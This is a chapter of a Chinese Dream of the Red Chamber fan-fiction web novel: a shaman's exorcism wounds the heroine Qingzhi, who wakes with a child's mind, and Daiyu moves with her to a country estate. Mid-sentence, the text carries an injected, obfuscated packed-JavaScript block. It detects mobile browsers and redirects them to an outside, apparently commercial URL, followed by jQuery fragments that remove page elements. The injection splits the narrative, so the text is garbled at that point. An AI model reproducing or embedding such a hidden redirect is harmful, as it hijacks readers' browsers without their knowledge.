62.法坛惊变神魂损,庄院新居稚语真

作品:《清芷伴玉[红楼GL]

    三日后,亥时初刻。


    大观园东北角的空地上,不知何时已搭起一座三丈见方的法坛。坛周立着九面玄黑幡旗,旗上银线绣着扭曲符文,在夜风中猎猎翻卷。坛心架着紫铜火盆,盆内炭火幽蓝,焰舌吞吐不定,映得周遭人脸孔明明灭灭。


    王夫人身着深青法衣,头戴莲花冠,手捧桃木剑立在坛东。她身侧立着个枯瘦老者,披发跣足,面涂五色油彩,颈挂一串兽骨——正是关外请来的萨满,乌木罕。


    “时辰将至。”乌木罕声音沙哑如砾石相磨,“请主家奉上那‘异魂’贴身之物。”


    周瑞家的忙捧上托盘,里头盛着清芷常戴的素银簪子、用旧的帕子,都是这几日趁人不备“取”来的。


    潇湘馆早已被婆子们围得铁桶一般。四个粗使嬷嬷守在正房门外,任由雪雁如何哀求,只冷脸挡着,纹丝不动。


    房内,黛玉坐在灯下,手中握着卷《南华经》,却半个字也入不得眼。远处隐约传来鼓声,咚咚的,像敲在人心上。


    清芷侍立在她身侧,系统面板无声展开,各项数据急跳:


    【警告:检测到高浓度精神污染场形成,覆盖半径五十丈。污染源性质:萨满仪式+未知高位格干涉。】


    【世界意志活跃度急剧上升……正在分析干涉指向……】


    【分析完成:干涉源锁定关键人物“贾宝玉”。命运轨迹偏移度突破阈值:30%。】


    清芷瞳孔骤缩。


    几乎同时,远处传来杂乱的脚步声。有丫鬟惊慌呼喊穿透夜色:


    “二爷!二爷您慢点,仔细摔着——!”


    “让开!我要见老爷!”


    贾宝玉的声音,带着从未有过的决绝。


    荣禧堂内,贾政正要歇下,忽听门外喧哗。披衣起身,就见宝玉直直闯进来,一头跪在地上:


    “父亲!儿子……儿子要参加今岁秋闱!”


    烛火猛地一跳。


    贾政怔在当场,简直不敢相信耳朵。这个一向憎恶经史、只知在脂粉堆里打滚的儿子,竟主动说要科考?


    “你……你说什么?”


    “儿子要科考。”宝玉抬起头,眼中是从未有过的清明,“往日糊涂,只知沉溺嬉乐。如今想来,堂堂男儿,当立志功名,光耀门楣。求父亲为儿子延请名师,儿子定当寒窗苦读,不敢懈怠!”


    每一个字,都像重锤砸在《红楼梦》既定的命轨上。


    贾政先是惊,后是疑,最后化作狂喜——贾珠早夭,他这一房嫡系就剩宝玉这根独苗。若能考取功名,何愁家业不兴?


    “好!好!好!”他连说三个好字,亲自扶起宝玉,“你有此志气,为父岂能不允?明日就请国子监李祭酒来……”


    话音未落。


    夜空骤亮。


    一道诡异的青光,从九天之上倾泻而下,瞬间笼罩整个荣国府。所有人——法坛边的王夫人、房中的黛玉、荣禧堂内的贾政父子——都感到一股无法形容的威压降临。


    仿佛整个世界,在这一刻“睁开了眼睛”。


    清芷闷哼一声,猛地捂住额角。


    【警告!警告!世界意志反噬开始!强度:甲上!检测到根源级规则修正力!】


    【系统紧急预案启动……消耗回归点300点构筑精神屏障……屏障生成中……10%……30%……】


    “清芷!”黛玉扑过去扶住她,触手一片滚烫。


    清芷额间渗出冷汗,眼前画面开始碎裂——扬州盐政衙门的书房、黛玉带泪的拥抱、系统面板上的爱恋值……那些画面像被打碎的镜子,一片片剥落。


    【屏障50%……遭到未知冲击!修正力性质变更:从“排斥”转为“抹除”!】


    【错误!错误!核心记忆模块受损——】


    乌木罕在法坛上疯狂摇动神鼓,口中念诵古老的咒文。他感觉到了一股远超预期的力量,那不是他能驾驭的,不是萨满传承中记载的任何一种“神力”。


    那是更高位格的东西。


    是“天意”。


    “轰轰轰——!”


    九面玄黑旗帜同时炸裂。铜盆中的幽蓝火焰冲天而起,化作一条扭曲的火龙,直扑潇湘馆方向!


    “就是此刻!”乌木罕厉喝,“邪祟显形了!”


    王夫人眼中迸出狂热的光,桃木剑指向火龙所向:“诛!”


    火龙撞进院子的刹那,清芷用最后一丝清明推开了黛玉。


    【屏障破碎。启动最终保护协议:封存核心人格,剥离表层记忆,模仿……幼年认知模式……】


    【爱恋值:90.85→锁定。回归点:329→29(紧急协议消耗300点)。】


    【宿主,保重。】


    最后一条系统提示闪过,随后,整个面板暗了下去。


    火焰没有烧伤任何实体,它穿透墙壁,直直没入清芷眉心。她身子剧烈一震,软软倒下。


    “清芷——!!!”


    黛玉的尖叫撕裂夜空。


    几乎同时,贾母院中。老太太正被那天地异象惊得心悸,忽见黛玉院子上空火光冲天,当下什么都顾不得了:“快!快去潇湘馆!”


    鸳鸯琥珀等人慌忙搀扶,一行人急急赶去。到院门口,正见王夫人手持桃木剑,指挥婆子们要往屋里冲。


    “住手!”贾母厉喝,“你们在做什么?!”


    王夫人一惊,回头见是贾母,忙上前:“老太太,今夜府中不宁,媳妇请了萨满驱邪,果然逼出了——”


    “逼出了什么?”贾母打断她,目光扫过满地狼藉的法坛,又看向屋内——黛玉正抱着昏迷的清芷,浑身发抖。


    老太太心头火起,龙头拐重重一顿:“我还没死呢!谁准你在园子里搞这些乌烟瘴气的东西?!还不把那劳什子萨满给我赶出去!”


    乌木罕还想分辩,被贾母一个眼神慑住——久居上位者的威压,比什么邪祟都骇人。他讪讪收了法器,匆匆退走。


    贾母走进屋内,见清芷面色惨白如纸,气息微弱,心下也是一沉。看向黛玉:“这丫头怎么样了?”


    黛玉抬起头,脸上泪痕交错,眼神却空得吓人。她张了张嘴,发不出声音,只是更紧地抱住怀中的人。


    大夫被连夜请来。把脉之后,老大夫连连摇头:“这位姑娘……脉象奇特。身无外伤,五脏皆安,可神魂……似遭重创,有离散之兆。”


    “可能治?”贾母问。


    “只能先用安神定魄的方子养着,能否醒来……要看造化。”


    药煎好了,黛玉强忍悲痛,亲自一勺勺喂。


    清芷昏迷了三日三夜,第四日清晨,睫毛颤了颤,睁开了眼。


    黛玉正靠在床边浅眠,忽觉手中一动,猛地惊醒:“清芷?”


    床上的人慢慢转过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238340|193921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头,眼神清澈,却陌生。


    她眨了眨眼,看着黛玉,忽然笑了,声音软糯稚嫩:


    “姐姐,你是谁呀?这里……是横店吗?以前妈妈带我来过,好多穿古装的人。”


    黛玉如遭雷击。


    “你……你说什么?”


    “我说这里是横店呀。”清芷歪了歪头,努力思考的样子就像个真正的孩子,“妈妈去年带我来的,我们还看了秦王宫。姐姐你穿得真好看,是演林黛玉吗?我妈妈可喜欢《红楼梦》了。”


    每一个字,都像刀,凌迟着黛玉的心。


    她颤抖着手去碰清芷的脸颊:“你……你不认得我了?”


    清芷乖巧地任她碰,眼神纯净无邪:“姐姐,我头好痛……我想回家。”


    泪水终于决堤。


    黛玉猛地起身,冲出房门。院子里晨光熹微,她却觉得天塌地陷。她扶着廊柱,弯下腰,无声地痛哭,哭得浑身颤抖,哭得撕心裂肺。


    雪雁闻声赶来,扶住黛玉,也陪着默默垂泪。


    不知过了多久,黛玉缓缓直起身。她擦干眼泪,脸上再没有一丝脆弱,只余近乎冷酷的平静。


    “收拾东西。”她说,“我们搬去通州的庄子。”


    “姑娘?”雪雁惊道,“这……这得禀明老太太……”


    “我会去禀明。”黛玉转身回屋,看向床上好奇张望的清芷,声音轻柔下来,“但现在,先收拾行李。”


    这个吃人的地方,多留一刻,清芷就多一分危险。


    她的清芷,已经为她死过一次了。


    这一次,换她来守。


    无论付出什么代价。


    当日下午,黛玉去了贾母院里。


    她跪在老太太面前,磕了三个头:“外祖母,黛玉不孝,想求您一件事。”


    贾母看着她坚定的脸,心中一叹:“你说。”


    “清芷如今这般,需要静养。园子里人多事杂,不利于她康复。黛玉想……带她去通州的庄子上住一段时日。”她抬起头,“梅影堂也在通州,正好可以照应。”


    贾母沉默良久。


    她知道,这一去,恐怕就不会再回来了。王夫人的手段、北静王府的压力、还有那夜诡异的“驱邪”……这荣国府,确实已非黛玉安身之所。


    “你想清楚了?”老太太问。


    “想清楚了。”


    “那便去吧。”贾母闭了闭眼,“庄子上的用度,我会让凤丫头照应。有什么难处,随时递信回来。”


    “谢外祖母。”


    黛玉又磕了个头,起身时,腰背挺得笔直。


    走出荣庆堂时,夕阳正好。金色的光铺满庭院,将她的影子拉得很长。


    她没有回头。


    回到潇湘馆时,东西已经收拾得差不多了。清芷正坐在床边,好奇地摆弄着一个布老虎。


    见黛玉进来,清芷眼睛一亮:“姐姐!我们要去哪里呀?”


    “去一个更安静的地方。”黛玉走过去,蹲下身,与她平视,“那里有田野,有溪流,还有许多和你一样大的孩子。”


    “真的吗?”清芷开心地拍手,“那我可以和他们玩吗?”


    “可以。”黛玉微笑,眼眶却红了,“你想做什么都可以。”


    只要你还活着。


    只要你还在我身边。


    哪怕你忘了我,忘了我们的一切。